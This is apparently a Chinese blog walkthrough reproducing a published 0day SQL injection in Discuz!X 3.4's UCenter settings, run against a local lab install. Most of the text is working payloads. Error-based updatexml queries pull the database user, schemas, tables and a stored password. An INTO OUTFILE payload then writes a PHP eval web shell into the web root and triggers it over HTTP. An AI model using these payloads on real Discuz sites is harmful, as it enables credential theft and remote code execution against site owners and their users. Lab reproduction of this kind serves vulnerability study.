圈子某位大佬公布的0day,拿来刷一刷,漏洞分析请移步大佬文章。
大佬链接
1、首先去码云下载最新版本的discuz(DiscuzX 3.4 R20191201)。
2、将upaod放置到网站目录下,访问安装目录安装即可。
点击站长--UCenter设置
点击最下面的提交进行抓包
1' order by 1 //返回正确
1' order by 2 //返回错误
1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a
1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a //mysql
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a //information_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a //performance_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),1)-- a //sys
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1)),1)-- a //test
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1)),1)-- a //ultrax
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 6,1)),1)-- a //空
可以发现,共有6个库
这里随便找了一个库测试的,test库只有一个表。
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 0,1)),1)-- a //users
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 1,1)),1)-- a //空
1' and updatexml(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='mysql')),1)-- a
1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users')),1)-- a
这个没显示全
1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)),1)-- a //user
1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 5,1)),1)-- a //password
1' and updatexml(1,concat(0x7e,(select password from test.users limit 1,1)),1)-- a
成功搞到密码test123
Payload:
1' into outfile 'c:\\wamp64\\tmp\\1.txt' -- a
emmmm….
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
查看一下secure-file-priv配置
show variables like '%secure%';
secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢
修改mysql.ini文件,加入如下语句
secure_file_priv=''
重启mysql服务
1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\phpstudy_pro\\WWW\\discuz\\1.php' -- a
http://192.168.91.149/discuz/1.php?1=phpinfo();
吐槽一下,手注真麻烦,还是sqlmap好玩。
手机扫一扫
移动阅读更方便
你可能感兴趣的文章